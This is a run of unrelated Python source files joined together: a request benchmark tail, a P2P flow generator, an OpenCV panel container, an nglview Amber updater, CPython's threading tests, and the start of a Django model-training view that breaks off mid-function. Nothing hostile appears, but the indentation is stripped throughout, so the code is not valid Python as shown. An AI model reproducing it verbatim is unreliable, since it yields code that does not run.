print_report(total_count, total_time_ms)
# Test case 2: Runs all requests in parallel, 1 request per thread.
def test_case_parallel(total_count):
print("\nParallel Requests:\nParams: total_count {}, threads_count {}".format(
total_count, total_count))
# Start threads to upload objects.
request_threads = []
start_time = time.perf_counter()
for i in range(total_count):
t = threading.Thread(target=thread_func_put_api)
request_threads.append(t)
t.start()
# Wait for threads to complete.
for i in range(total_count):
request_threads[i].join()
end_time = time.perf_counter()
total_time_ms = int(round((end_time - start_time) * 1000))
print_report(total_count, total_time_ms)
def main():
total_count = 100
# Sequential requests.
test_case_seq_reqs(total_count=total_count)
# Parallel requests with threads - all
test_case_parallel(total_count=total_count)
if __name__ == '__main__':
main()
|
GenerateFlows.py
|
from P2P_CONSTANTS import *
from Packet import *
from Flow import *
import multiprocessing as MP
import socket
## module to read all the files in the data folder of the
## project, build flow data and store it in a file
def generateFlow(filename):
sem.acquire()
inputfile = open(filename)
data = [line.strip() for line in inputfile]
inputfile.close()
packetlist = []
for eachline in data:
fields = eachline.split(',')
#fields.pop(2)
packetlist.append(Packet(fields))
outflowlist = packetsToFlows(packetlist, FLOWGAP)
print 'flows in ' + filename + ' : ' + str(len(outflowlist))
outfilename = FLOWDATADIR + (filename.split('/')[-1])
writeFlowsToFile(outflowlist, outfilename)
print 'done writing to : ' + outfilename
sem.release()
csvfiles = getCSVFiles(PCAPDATADIR)
print csvfiles
#create a semaphore so as not to exceed threadlimit
sem = MP.Semaphore(THREADLIMIT)
#generate flowdata from each input packet file(not pcap) in parallel and store it in a file
#so we get as many output files as number of input files
for filename in csvfiles:
task = MP.Process(target = generateFlow, args = (filename,))
task.start()
|
container.py
|
import threading
from functools import wraps
from abc import ABC, abstractmethod
import cv2
import numpy as np
__all__ = [ "Container", "check_ready" ]
def check_ready(method):
"""Decorator for Container's methods"""
@wraps(method)
def wrapper(self, *args, **kwargs):
if not self._ready:
raise RuntimeError("Container is not ready yet, call container.ready() first")
return method(self, *args, **kwargs)
return wrapper
class Container:
"""Display wrapper for panels
Arguments:
nrows (int, optional): number of rows in the container, default 2
ncols (int, optional): number of columns in the container, default 2
size (tuple, optiona): 2D tuple specified container size, default (1920, 1080)
"""
def __init__(self, nrows=2, ncols=2, size=(1920, 1080), **kwargs):
# Container metadata
# =================================================
self.nrows = nrows
self.ncols = ncols
self.size = size
# Panel information
# =================================================
self.panels = []
self.panel_offsets = []
for i in range(nrows):
for j in range(ncols):
y_offset = (size[1]//nrows)*i
x_offset = (size[0]//ncols)*j
self.panel_offsets.append((x_offset, y_offset))
# Dynamic information (assign value later)
# =================================================
self.focus_panel = None
self.container_cache = None
# Following properties will be set after ready get called
self.stype = None
self.fps = None
self.total_frames = None
self._ready = False
# Proxy methods for internel panels
# =====================================================
@check_ready
def start(self):
_ = [ p.start() for p in self.panels ]
return self
@check_ready
def pause(self):
_ = [ p.pause() for p in self.panels ]
return self
@check_ready
def stop(self):
_ = [ p.stop() for p in self.panels ]
return self
@check_ready
def jump(self, index):
"""Spawn multiple threads to jump to target frame with specified index"""
if self.is_pause():
def jump_task(panel):
panel.jump(index)
jump_threads = [ threading.Thread(target=jump_task, args=(p,), daemon=True)
for p in self.panels ]
_ = [ thread.start() for thread in jump_threads ]
_ = [ thread.join() for thread in jump_threads ]
return self
@check_ready
def is_start(self):
return self.panels[0].is_start()
@check_ready
def is_pause(self):
return self.panels[0].is_pause()
@check_ready
def is_stop(self):
return self.panels[0].is_stop()
# Container methods
# ======================================================
@check_ready
def find_panel(self, pos):
"""Return the target panel under the specified 'pos' position
Arguments:
pos (list or tuple): a sequence of length 2 specified (x, y) coordinate
"""
target_panel = None
for panel, panel_offset in zip(self.panels, self.panel_offsets):
if (1
and panel_offset[0] <= pos[0] <= panel_offset[0] + panel.size[0]
and panel_offset[1] <= pos[1] <= panel_offset[1] + panel.size[1]
):
target_panel = panel
break
return target_panel
@check_ready
def rerender(self, panel_contents):
# Render panels
# ==============================================================
for panel_content, panel_offset in zip(panel_contents, self.panel_offsets):
# Copy panel to its slot in the container
x_start = panel_offset[0]
y_start = panel_offset[1]
x_end = x_start + self.panels[0].size[0]
y_end = y_start + self.panels[0].size[1]
self.container_cache[y_start:y_end, x_start:x_end, :] = panel_content['panel_frame']
# Cover container with the panel being focus
# ====================================================================
if self.focus_panel is not None:
index = self.panels.index(self.focus_panel)
self.container_cache = cv2.resize(panel_contents[index]['panel_frame'], self.size)
content = { 'fid': panel_content['fid'],
'container_frame': self.container_cache,
'panel_contents': panel_contents }
return content
@check_ready
def render(self):
"""Return container content of type dict"""
# Container canvas
container_width = self.size[0]
container_height = self.size[1]
container_frame = np.zeros((container_height, container_width, 3), dtype=np.uint8)
# Render panels
panel_contents = []
for panel, panel_offset in zip(self.panels, self.panel_offsets):
panel_content = panel.render()
panel_contents.append(panel_content)
# Copy panel to its slot in the container
x_start = panel_offset[0]
y_start = panel_offset[1]
x_end = x_start + panel.size[0]
y_end = y_start + panel.size[1]
container_frame[y_start:y_end, x_start:x_end, :] = panel_content['panel_frame']
# Cover container with the panel being focus
if self.focus_panel is not None:
index = self.panels.index(self.focus_panel)
container_frame = cv2.resize(panel_contents[index]['panel_frame'], self.size)
self.container_cache = container_frame.copy()
content = { 'fid': panel_content['fid'],
'container_frame': container_frame,
'panel_contents': panel_contents }
return content
def add_panel(self, panel):
"""Add panel to the container"""
if len(self.panels) < self.nrows*self.ncols:
# Reset panel size
panel_width = self.size[0]//self.ncols
panel_height = self.size[1]//self.nrows
panel.responsive((panel_width, panel_height))
self.panels.append(panel)
else:
panel_limit = self.nrows*self.ncols
raise RuntimeError("You can only register '{}' panels".format(panel_limit))
def ready(self):
"""Make container ready for postprocessing"""
if len(self.panels) == 0:
raise RuntimeError("Container needs at least one panel to get ready")
# Check unified source type
for p in self.panels:
if self.stype is None:
self.stype = p.stype
continue
if self.stype != p.stype:
raise RuntimeError("Media sources should all be same type")
# Align total frames between panaels
align_frames = np.array([ p.total_frames for p in self.panels ]).min()
for p in self.panels:
p.total_frames = align_frames
# Align fps between panels
align_fps = np.array([ p.fps for p in self.panels ]).min()
for p in self.panels:
p.fps = align_fps
self._ready = True
self.fps = align_fps
self.total_frames = align_frames
|
amber.py
|
from __future__ import absolute_import
import os
import time
import pytraj as pt
import threading
from .base import BaseMD
class AmberMD(BaseMD):
# TODO: doc
'''
Unstable API
Examples
--------
>>> from nglview.sandbox.amber import AmberMD
>>> amber_view = AmberMD(top='./peptide.top', restart='./md.r', reference='min.rst7')
>>> view = amber_view.initialize()
>>> view
>>> # another cell
>>> amber_view.update(every=1, timeout=3000)
>>> # do other stuff
'''
def __init__(self, top=None, restart=None, reference=None):
self.top = top
assert os.path.exists(restart), '{} must exists'.format(restart)
assert os.path.exists(reference), '{} must exists'.format(reference)
self.restart = restart
self.reference_traj = pt.load(reference, top=self.top)
self.thread = None
self.event = None
def initialize(self, gui=False):
self.view = self.reference_traj.visualize(gui=gui)
return self.view
def update(self, every=1, timeout=3000, callback=None):
"""
Parameters
----------
every : int, default 1 (s)
update coordinates "every" second
timeout : int, default 3000 (s)
stop updating coordinate after "timeout"
callback : func, optional
If given, trajectory will be processed (autoimage, ...)
Must follow func(traj)
"""
# always reset
self.event = threading.Event()
def _update(event):
start = time.time()
while time.time() - start <= timeout and not event.is_set():
time.sleep(every)
traj = pt.load(self.restart, top=self.top)
if callback is not None:
callback(traj)
else:
mask = '@C,N,O,CA,P'
pt.superpose(traj, mask=mask, ref=self.reference_traj)
self._update_coordinates(traj[0].xyz)
# non-blocking so we can use other Jupyter's cells
self.thread = threading.Thread(target=_update, args=(self.event,))
self.thread.daemon = True
self.thread.start()
def stop(self):
"""Stop update"""
if self.event is not None:
self.event.set()
def _update_coordinates(self, xyz):
self.view.coordinates_dict = {0: xyz}
|
test_threading.py
|
# Very rudimentary test of threading module
import test.support
from test.support import verbose, strip_python_stderr, import_module
from test.script_helper import assert_python_ok
import random
import re
import sys
_thread = import_module('_thread')
threading = import_module('threading')
import time
import unittest
import weakref
import os
from test.script_helper import assert_python_ok, assert_python_failure
import subprocess
from test import lock_tests
# A trivial mutable counter.
class Counter(object):
def __init__(self):
self.value = 0
def inc(self):
self.value += 1
def dec(self):
self.value -= 1
def get(self):
return self.value
class TestThread(threading.Thread):
def __init__(self, name, testcase, sema, mutex, nrunning):
threading.Thread.__init__(self, name=name)
self.testcase = testcase
self.sema = sema
self.mutex = mutex
self.nrunning = nrunning
def run(self):
delay = random.random() / 10000.0
if verbose:
print('task %s will run for %.1f usec' %
(self.name, delay * 1e6))
with self.sema:
with self.mutex:
self.nrunning.inc()
if verbose:
print(self.nrunning.get(), 'tasks are running')
self.testcase.assertTrue(self.nrunning.get() <= 3)
time.sleep(delay)
if verbose:
print('task', self.name, 'done')
with self.mutex:
self.nrunning.dec()
self.testcase.assertTrue(self.nrunning.get() >= 0)
if verbose:
print('%s is finished. %d tasks are running' %
(self.name, self.nrunning.get()))
class BaseTestCase(unittest.TestCase):
def setUp(self):
self._threads = test.support.threading_setup()
def tearDown(self):
test.support.threading_cleanup(*self._threads)
test.support.reap_children()
class ThreadTests(BaseTestCase):
# Create a bunch of threads, let each do some work, wait until all are
# done.
def test_various_ops(self):
# This takes about n/3 seconds to run (about n/3 clumps of tasks,
# times about 1 second per clump).
NUMTASKS = 10
# no more than 3 of the 10 can run at once
sema = threading.BoundedSemaphore(value=3)
mutex = threading.RLock()
numrunning = Counter()
threads = []
for i in range(NUMTASKS):
t = TestThread("<thread %d>"%i, self, sema, mutex, numrunning)
threads.append(t)
self.assertEqual(t.ident, None)
self.assertTrue(re.match('<TestThread\(.*, initial\)>', repr(t)))
t.start()
if verbose:
print('waiting for all tasks to complete')
for t in threads:
t.join(NUMTASKS)
self.assertTrue(not t.is_alive())
self.assertNotEqual(t.ident, 0)
self.assertFalse(t.ident is None)
self.assertTrue(re.match('<TestThread\(.*, stopped -?\d+\)>',
repr(t)))
if verbose:
print('all tasks done')
self.assertEqual(numrunning.get(), 0)
def test_ident_of_no_threading_threads(self):
# The ident still must work for the main thread and dummy threads.
self.assertFalse(threading.currentThread().ident is None)
def f():
ident.append(threading.currentThread().ident)
done.set()
done = threading.Event()
ident = []
_thread.start_new_thread(f, ())
done.wait()
self.assertFalse(ident[0] is None)
# Kill the "immortal" _DummyThread
del threading._active[ident[0]]
# run with a small(ish) thread stack size (256kB)
def test_various_ops_small_stack(self):
if verbose:
print('with 256kB thread stack size...')
try:
threading.stack_size(262144)
except _thread.error:
raise unittest.SkipTest(
'platform does not support changing thread stack size')
self.test_various_ops()
threading.stack_size(0)
# run with a large thread stack size (1MB)
def test_various_ops_large_stack(self):
if verbose:
print('with 1MB thread stack size...')
try:
threading.stack_size(0x100000)
except _thread.error:
raise unittest.SkipTest(
'platform does not support changing thread stack size')
self.test_various_ops()
threading.stack_size(0)
def test_foreign_thread(self):
# Check that a "foreign" thread can use the threading module.
def f(mutex):
# Calling current_thread() forces an entry for the foreign
# thread to get made in the threading._active map.
threading.current_thread()
mutex.release()
mutex = threading.Lock()
mutex.acquire()
tid = _thread.start_new_thread(f, (mutex,))
# Wait for the thread to finish.
mutex.acquire()
self.assertIn(tid, threading._active)
self.assertIsInstance(threading._active[tid], threading._DummyThread)
del threading._active[tid]
# PyThreadState_SetAsyncExc() is a CPython-only gimmick, not (currently)
# exposed at the Python level. This test relies on ctypes to get at it.
def test_PyThreadState_SetAsyncExc(self):
ctypes = import_module("ctypes")
set_async_exc = ctypes.pythonapi.PyThreadState_SetAsyncExc
class AsyncExc(Exception):
pass
exception = ctypes.py_object(AsyncExc)
# First check it works when setting the exception from the same thread.
tid = _thread.get_ident()
try:
result = set_async_exc(ctypes.c_long(tid), exception)
# The exception is async, so we might have to keep the VM busy until
# it notices.
while True:
pass
except AsyncExc:
pass
else:
# This code is unreachable but it reflects the intent. If we wanted
# to be smarter the above loop wouldn't be infinite.
self.fail("AsyncExc not raised")
try:
self.assertEqual(result, 1) # one thread state modified
except UnboundLocalError:
# The exception was raised too quickly for us to get the result.
pass
# `worker_started` is set by the thread when it's inside a try/except
# block waiting to catch the asynchronously set AsyncExc exception.
# `worker_saw_exception` is set by the thread upon catching that
# exception.
worker_started = threading.Event()
worker_saw_exception = threading.Event()
class Worker(threading.Thread):
def run(self):
self.id = _thread.get_ident()
self.finished = False
try:
while True:
worker_started.set()
time.sleep(0.1)
except AsyncExc:
self.finished = True
worker_saw_exception.set()
t = Worker()
t.daemon = True # so if this fails, we don't hang Python at shutdown
t.start()
if verbose:
print(" started worker thread")
# Try a thread id that doesn't make sense.
if verbose:
print(" trying nonsensical thread id")
result = set_async_exc(ctypes.c_long(-1), exception)
self.assertEqual(result, 0) # no thread states modified
# Now raise an exception in the worker thread.
if verbose:
print(" waiting for worker thread to get started")
ret = worker_started.wait()
self.assertTrue(ret)
if verbose:
print(" verifying worker hasn't exited")
self.assertTrue(not t.finished)
if verbose:
print(" attempting to raise asynch exception in worker")
result = set_async_exc(ctypes.c_long(t.id), exception)
self.assertEqual(result, 1) # one thread state modified
if verbose:
print(" waiting for worker to say it caught the exception")
worker_saw_exception.wait(timeout=10)
self.assertTrue(t.finished)
if verbose:
print(" all OK -- joining worker")
if t.finished:
t.join()
# else the thread is still running, and we have no way to kill it
def test_limbo_cleanup(self):
# Issue 7481: Failure to start thread should cleanup the limbo map.
def fail_new_thread(*args):
raise threading.ThreadError()
_start_new_thread = threading._start_new_thread
threading._start_new_thread = fail_new_thread
try:
t = threading.Thread(target=lambda: None)
self.assertRaises(threading.ThreadError, t.start)
self.assertFalse(
t in threading._limbo,
"Failed to cleanup _limbo map on failure of Thread.start().")
finally:
threading._start_new_thread = _start_new_thread
def test_finalize_runnning_thread(self):
# Issue 1402: the PyGILState_Ensure / _Release functions may be called
# very late on python exit: on deallocation of a running thread for
# example.
import_module("ctypes")
rc, out, err = assert_python_failure("-c", """if 1:
import ctypes, sys, time, _thread
# This lock is used as a simple event variable.
ready = _thread.allocate_lock()
ready.acquire()
# Module globals are cleared before __del__ is run
# So we save the functions in class dict
class C:
ensure = ctypes.pythonapi.PyGILState_Ensure
release = ctypes.pythonapi.PyGILState_Release
def __del__(self):
state = self.ensure()
self.release(state)
def waitingThread():
x = C()
ready.release()
time.sleep(100)
_thread.start_new_thread(waitingThread, ())
ready.acquire() # Be sure the other thread is waiting.
sys.exit(42)
""")
self.assertEqual(rc, 42)
def test_finalize_with_trace(self):
# Issue1733757
# Avoid a deadlock when sys.settrace steps into threading._shutdown
assert_python_ok("-c", """if 1:
import sys, threading
# A deadlock-killer, to prevent the
# testsuite to hang forever
def killer():
import os, time
time.sleep(2)
print('program blocked; aborting')
os._exit(2)
t = threading.Thread(target=killer)
t.daemon = True
t.start()
# This is the trace function
def func(frame, event, arg):
threading.current_thread()
return func
sys.settrace(func)
""")
def test_join_nondaemon_on_shutdown(self):
# Issue 1722344
# Raising SystemExit skipped threading._shutdown
rc, out, err = assert_python_ok("-c", """if 1:
import threading
from time import sleep
def child():
sleep(1)
# As a non-daemon thread we SHOULD wake up and nothing
# should be torn down yet
print("Woke up, sleep function is:", sleep)
threading.Thread(target=child).start()
raise SystemExit
""")
self.assertEqual(out.strip(),
b"Woke up, sleep function is: <built-in function sleep>")
self.assertEqual(err, b"")
def test_enumerate_after_join(self):
# Try hard to trigger #1703448: a thread is still returned in
# threading.enumerate() after it has been join()ed.
enum = threading.enumerate
old_interval = sys.getswitchinterval()
try:
for i in range(1, 100):
sys.setswitchinterval(i * 0.0002)
t = threading.Thread(target=lambda: None)
t.start()
t.join()
l = enum()
self.assertNotIn(t, l,
"#1703448 triggered after %d trials: %s" % (i, l))
finally:
sys.setswitchinterval(old_interval)
def test_no_refcycle_through_target(self):
class RunSelfFunction(object):
def __init__(self, should_raise):
# The links in this refcycle from Thread back to self
# should be cleaned up when the thread completes.
self.should_raise = should_raise
self.thread = threading.Thread(target=self._run,
args=(self,),
kwargs={'yet_another':self})
self.thread.start()
def _run(self, other_ref, yet_another):
if self.should_raise:
raise SystemExit
cyclic_object = RunSelfFunction(should_raise=False)
weak_cyclic_object = weakref.ref(cyclic_object)
cyclic_object.thread.join()
del cyclic_object
self.assertIsNone(weak_cyclic_object(),
msg=('%d references still around' %
sys.getrefcount(weak_cyclic_object())))
raising_cyclic_object = RunSelfFunction(should_raise=True)
weak_raising_cyclic_object = weakref.ref(raising_cyclic_object)
raising_cyclic_object.thread.join()
del raising_cyclic_object
self.assertIsNone(weak_raising_cyclic_object(),
msg=('%d references still around' %
sys.getrefcount(weak_raising_cyclic_object())))
def test_old_threading_api(self):
# Just a quick sanity check to make sure the old method names are
# still present
t = threading.Thread()
t.isDaemon()
t.setDaemon(True)
t.getName()
t.setName("name")
t.isAlive()
e = threading.Event()
e.isSet()
threading.activeCount()
def test_repr_daemon(self):
t = threading.Thread()
self.assertFalse('daemon' in repr(t))
t.daemon = True
self.assertTrue('daemon' in repr(t))
@unittest.skipUnless(hasattr(os, 'fork'), 'test needs fork()')
def test_dummy_thread_after_fork(self):
# Issue #14308: a dummy thread in the active list doesn't mess up
# the after-fork mechanism.
code = """if 1:
import _thread, threading, os, time
def background_thread(evt):
# Creates and registers the _DummyThread instance
threading.current_thread()
evt.set()
time.sleep(10)
evt = threading.Event()
_thread.start_new_thread(background_thread, (evt,))
evt.wait()
assert threading.active_count() == 2, threading.active_count()
if os.fork() == 0:
assert threading.active_count() == 1, threading.active_count()
os._exit(0)
else:
os.wait()
"""
_, out, err = assert_python_ok("-c", code)
self.assertEqual(out, b'')
self.assertEqual(err, b'')
class ThreadJoinOnShutdown(BaseTestCase):
# Between fork() and exec(), only async-safe functions are allowed (issues
# #12316 and #11870), and fork() from a worker thread is known to trigger
# problems with some operating systems (issue #3863): skip problematic tests
# on platforms known to behave badly.
platforms_to_skip = ('freebsd4', 'freebsd5', 'freebsd6', 'netbsd5',
'os2emx')
def _run_and_join(self, script):
script = """if 1:
import sys, os, time, threading
# a thread, which waits for the main program to terminate
def joiningfunc(mainthread):
mainthread.join()
print('end of thread')
# stdout is fully buffered because not a tty, we have to flush
# before exit.
sys.stdout.flush()
\n""" + script
rc, out, err = assert_python_ok("-c", script)
data = out.decode().replace('\r', '')
self.assertEqual(data, "end of main\nend of thread\n")
def test_1_join_on_shutdown(self):
# The usual case: on exit, wait for a non-daemon thread
script = """if 1:
import os
t = threading.Thread(target=joiningfunc,
args=(threading.current_thread(),))
t.start()
time.sleep(0.1)
print('end of main')
"""
self._run_and_join(script)
@unittest.skipUnless(hasattr(os, 'fork'), "needs os.fork()")
@unittest.skipIf(sys.platform in platforms_to_skip, "due to known OS bug")
def test_2_join_in_forked_process(self):
# Like the test above, but from a forked interpreter
script = """if 1:
childpid = os.fork()
if childpid != 0:
os.waitpid(childpid, 0)
sys.exit(0)
t = threading.Thread(target=joiningfunc,
args=(threading.current_thread(),))
t.start()
print('end of main')
"""
self._run_and_join(script)
@unittest.skipUnless(hasattr(os, 'fork'), "needs os.fork()")
@unittest.skipIf(sys.platform in platforms_to_skip, "due to known OS bug")
def test_3_join_in_forked_from_thread(self):
# Like the test above, but fork() was called from a worker thread
# In the forked process, the main Thread object must be marked as stopped.
script = """if 1:
main_thread = threading.current_thread()
def worker():
childpid = os.fork()
if childpid != 0:
os.waitpid(childpid, 0)
sys.exit(0)
t = threading.Thread(target=joiningfunc,
args=(main_thread,))
print('end of main')
t.start()
t.join() # Should not block: main_thread is already stopped
w = threading.Thread(target=worker)
w.start()
"""
self._run_and_join(script)
def assertScriptHasOutput(self, script, expected_output):
rc, out, err = assert_python_ok("-c", script)
data = out.decode().replace('\r', '')
self.assertEqual(data, expected_output)
@unittest.skipUnless(hasattr(os, 'fork'), "needs os.fork()")
@unittest.skipIf(sys.platform in platforms_to_skip, "due to known OS bug")
def test_4_joining_across_fork_in_worker_thread(self):
# There used to be a possible deadlock when forking from a child
# thread. See http://bugs.python.org/issue6643.
# The script takes the following steps:
# - The main thread in the parent process starts a new thread and then
# tries to join it.
# - The join operation acquires the Lock inside the thread's _block
# Condition. (See threading.py:Thread.join().)
# - We stub out the acquire method on the condition to force it to wait
# until the child thread forks. (See LOCK ACQUIRED HERE)
# - The child thread forks. (See LOCK HELD and WORKER THREAD FORKS
# HERE)
# - The main thread of the parent process enters Condition.wait(),
# which releases the lock on the child thread.
# - The child process returns. Without the necessary fix, when the
# main thread of the child process (which used to be the child thread
# in the parent process) attempts to exit, it will try to acquire the
# lock in the Thread._block Condition object and hang, because the
# lock was held across the fork.
script = """if 1:
import os, time, threading
finish_join = False
start_fork = False
def worker():
# Wait until this thread's lock is acquired before forking to
# create the deadlock.
global finish_join
while not start_fork:
time.sleep(0.01)
# LOCK HELD: Main thread holds lock across this call.
childpid = os.fork()
finish_join = True
if childpid != 0:
# Parent process just waits for child.
os.waitpid(childpid, 0)
# Child process should just return.
w = threading.Thread(target=worker)
# Stub out the private condition variable's lock acquire method.
# This acquires the lock and then waits until the child has forked
# before returning, which will release the lock soon after. If
# someone else tries to fix this test case by acquiring this lock
# before forking instead of resetting it, the test case will
# deadlock when it shouldn't.
condition = w._block
orig_acquire = condition.acquire
call_count_lock = threading.Lock()
call_count = 0
def my_acquire():
global call_count
global start_fork
orig_acquire() # LOCK ACQUIRED HERE
start_fork = True
if call_count == 0:
while not finish_join:
time.sleep(0.01) # WORKER THREAD FORKS HERE
with call_count_lock:
call_count += 1
condition.acquire = my_acquire
w.start()
w.join()
print('end of main')
"""
self.assertScriptHasOutput(script, "end of main\n")
@unittest.skipUnless(hasattr(os, 'fork'), "needs os.fork()")
@unittest.skipIf(sys.platform in platforms_to_skip, "due to known OS bug")
def test_5_clear_waiter_locks_to_avoid_crash(self):
# Check that a spawned thread that forks doesn't segfault on certain
# platforms, namely OS X. This used to happen if there was a waiter
# lock in the thread's condition variable's waiters list. Even though
# we know the lock will be held across the fork, it is not safe to
# release locks held across forks on all platforms, so releasing the
# waiter lock caused a segfault on OS X. Furthermore, since locks on
# OS X are (as of this writing) implemented with a mutex + condition
# variable instead of a semaphore, while we know that the Python-level
# lock will be acquired, we can't know if the internal mutex will be
# acquired at the time of the fork.
script = """if True:
import os, time, threading
start_fork = False
def worker():
# Wait until the main thread has attempted to join this thread
# before continuing.
while not start_fork:
time.sleep(0.01)
childpid = os.fork()
if childpid != 0:
# Parent process just waits for child.
(cpid, rc) = os.waitpid(childpid, 0)
assert cpid == childpid
assert rc == 0
print('end of worker thread')
else:
# Child process should just return.
pass
w = threading.Thread(target=worker)
# Stub out the private condition variable's _release_save method.
# This releases the condition's lock and flips the global that
# causes the worker to fork. At this point, the problematic waiter
# lock has been acquired once by the waiter and has been put onto
# the waiters list.
condition = w._block
orig_release_save = condition._release_save
def my_release_save():
global start_fork
orig_release_save()
# Waiter lock held here, condition lock released.
start_fork = True
condition._release_save = my_release_save
w.start()
w.join()
print('end of main thread')
"""
output = "end of worker thread\nend of main thread\n"
self.assertScriptHasOutput(script, output)
@unittest.skipIf(sys.platform in platforms_to_skip, "due to known OS bug")
def test_6_daemon_threads(self):
# Check that a daemon thread cannot crash the interpreter on shutdown
# by manipulating internal structures that are being disposed of in
# the main thread.
script = """if True:
import os
import random
import sys
import time
import threading
thread_has_run = set()
def random_io():
'''Loop for a while sleeping random tiny amounts and doing some I/O.'''
while True:
in_f = open(os.__file__, 'rb')
stuff = in_f.read(200)
null_f = open(os.devnull, 'wb')
null_f.write(stuff)
time.sleep(random.random() / 1995)
null_f.close()
in_f.close()
thread_has_run.add(threading.current_thread())
def main():
count = 0
for _ in range(40):
new_thread = threading.Thread(target=random_io)
new_thread.daemon = True
new_thread.start()
count += 1
while len(thread_has_run) < count:
time.sleep(0.001)
# Trigger process shutdown
sys.exit(0)
main()
"""
rc, out, err = assert_python_ok('-c', script)
self.assertFalse(err)
@unittest.skipUnless(hasattr(os, 'fork'), "needs os.fork()")
@unittest.skipIf(sys.platform in platforms_to_skip, "due to known OS bug")
def test_reinit_tls_after_fork(self):
# Issue #13817: fork() would deadlock in a multithreaded program with
# the ad-hoc TLS implementation.
def do_fork_and_wait():
# just fork a child process and wait it
pid = os.fork()
if pid > 0:
os.waitpid(pid, 0)
else:
os._exit(0)
# start a bunch of threads that will fork() child processes
threads = []
for i in range(16):
t = threading.Thread(target=do_fork_and_wait)
threads.append(t)
t.start()
for t in threads:
t.join()
class ThreadingExceptionTests(BaseTestCase):
# A RuntimeError should be raised if Thread.start() is called
# multiple times.
def test_start_thread_again(self):
thread = threading.Thread()
thread.start()
self.assertRaises(RuntimeError, thread.start)
def test_joining_current_thread(self):
current_thread = threading.current_thread()
self.assertRaises(RuntimeError, current_thread.join);
def test_joining_inactive_thread(self):
thread = threading.Thread()
self.assertRaises(RuntimeError, thread.join)
def test_daemonize_active_thread(self):
thread = threading.Thread()
thread.start()
self.assertRaises(RuntimeError, setattr, thread, "daemon", True)
@unittest.skipUnless(sys.platform == 'darwin', 'test macosx problem')
def test_recursion_limit(self):
# Issue 9670
# test that excessive recursion within a non-main thread causes
# an exception rather than crashing the interpreter on platforms
# like Mac OS X or FreeBSD which have small default stack sizes
# for threads
script = """if True:
import threading
def recurse():
return recurse()
def outer():
try:
recurse()
except RuntimeError:
pass
w = threading.Thread(target=outer)
w.start()
w.join()
print('end of main thread')
"""
expected_output = "end of main thread\n"
p = subprocess.Popen([sys.executable, "-c", script],
stdout=subprocess.PIPE, stderr=subprocess.PIPE)
stdout, stderr = p.communicate()
data = stdout.decode().replace('\r', '')
self.assertEqual(p.returncode, 0, "Unexpected error: " + stderr.decode())
self.assertEqual(data, expected_output)
class LockTests(lock_tests.LockTests):
locktype = staticmethod(threading.Lock)
class PyRLockTests(lock_tests.RLockTests):
locktype = staticmethod(threading._PyRLock)
@unittest.skipIf(threading._CRLock is None, 'RLock not implemented in C')
class CRLockTests(lock_tests.RLockTests):
locktype = staticmethod(threading._CRLock)
class EventTests(lock_tests.EventTests):
eventtype = staticmethod(threading.Event)
class ConditionAsRLockTests(lock_tests.RLockTests):
# An Condition uses an RLock by default and exports its API.
locktype = staticmethod(threading.Condition)
class ConditionTests(lock_tests.ConditionTests):
condtype = staticmethod(threading.Condition)
class SemaphoreTests(lock_tests.SemaphoreTests):
semtype = staticmethod(threading.Semaphore)
class BoundedSemaphoreTests(lock_tests.BoundedSemaphoreTests):
semtype = staticmethod(threading.BoundedSemaphore)
class BarrierTests(lock_tests.BarrierTests):
barriertype = staticmethod(threading.Barrier)
def test_main():
test.support.run_unittest(LockTests, PyRLockTests, CRLockTests, EventTests,
ConditionAsRLockTests, ConditionTests,
SemaphoreTests, BoundedSemaphoreTests,
ThreadTests,
ThreadJoinOnShutdown,
ThreadingExceptionTests,
BarrierTests
)
if __name__ == "__main__":
test_main()
|
training.py
|
from django.shortcuts import render
from django.http import HttpResponse
from django.conf import settings
from rest_framework import permissions
from rest_framework.views import APIView
from rest_framework.response import Response
from django.views.decorators.csrf import csrf_exempt
# from rest_framework.decorators import api_view,renderer_classes,
from django.http import JsonResponse
from django.views.decorators.http import require_POST
from rest_framework.decorators import api_view,schema
import pandas as pd
import numpy as np
from sklearn.externals import joblib
from django.utils.encoding import smart_str
import os,ast, signal,operator,requests, json,time,datetime
from string import ascii_uppercase
from random import choice
from multiprocessing import Process, Lock
global DATA_MEMORY_OBJS_SKLEARN
import ast,pathlib
# RUNNING_TASK_MEMORY=[]
from utility.utilityClass import RUNNING_TASK_MEMORY
DATA_MEMORY_OBJS_SKLEARN={}
from trainModel import kerasUtilities,mergeTrainingNN,autoMLutilities,trainAutoMLV2,trainMaskRCNN
kerasUtilities = kerasUtilities.KerasUtilities()
autoMLutilities = autoMLutilities.AutoMLUtilities()
# from SwaggerSchema.schemas import (autoMLsendDataSwagger,
# autoMLtrainModelSwagger,
# statusOfModelSwagger,
# trainNeuralNetworkModelsSwagger,
# )
settingFilePath='settingFiles/'
pathOfStatus='resultStatus/'
SavedModels='SavedModels/'
logFolder='logs/'
runPorts=range(6006,6026)
runPortsUsage='inactive'
tensorboardPort=pd.DataFrame(data={'runPorts':runPorts,'runPortsUsage':runPortsUsage,'usedForLogs':None})
tensorboardPort.to_csv(settingFilePath+'tensorboardPort.txt',index=False)
runPorts=range(8888,8891)
runPortsUsage='inactive'
jupyterNotebook=pd.DataFrame(data={'runPorts':runPorts,'runPortsUsage':runPortsUsage,'usedForLogs':None})
jupyterNotebook.to_csv(settingFilePath+'jupyterNotebook.txt',index=False)
class Training:
# @csrf_exempt
# @api_view(['POST'])
# @schema(trainNeuralNetworkModelsSwagger)
# @api_view()
def trainNeuralNetworkModels(requests):
def getValueFromReq(keyVal,bodyVal):
# print ('requests',requests.body)
try:
# print (requests.POST.get(keyVal))
return bodyVal[keyVal]
except:
return ''
# pmmlFile=requests.POST.get('filePath')
bodyVal=json.loads(requests.body)
# print ('came heer 2nd',bodyVal)
pmmlFile=getValueFromReq('filePath',bodyVal)
tensorboardUrl=getValueFromReq('tensorboardUrl',bodyVal)
tensorboardLogFolder=getValueFromReq('tensorboardLogFolder',bodyVal)
hyperParaUser={}
hyperParaUser['batchSize']=getValueFromReq('batchSize',bodyVal)
hyperParaUser['optimizer']=getValueFromReq('optimizer',bodyVal)
hyperParaUser['loss']=getValueFromReq('loss',bodyVal)
hyperParaUser['metrics']=getValueFromReq('metrics',bodyVal)
hyperParaUser['epoch']=getValueFromReq('epoch',bodyVal)
hyperParaUser['problemType']=getValueFromReq('problemType',bodyVal)
hyperParaUser['testSize']=getValueFromReq('testSize',bodyVal)
hyperParaUser['learningRate']=getValueFromReq('learningRate',bodyVal)
# hyperParaUser['']=getValueFromReq('',requests)
# hyperParaUser['']=getValueFromReq('',requests)
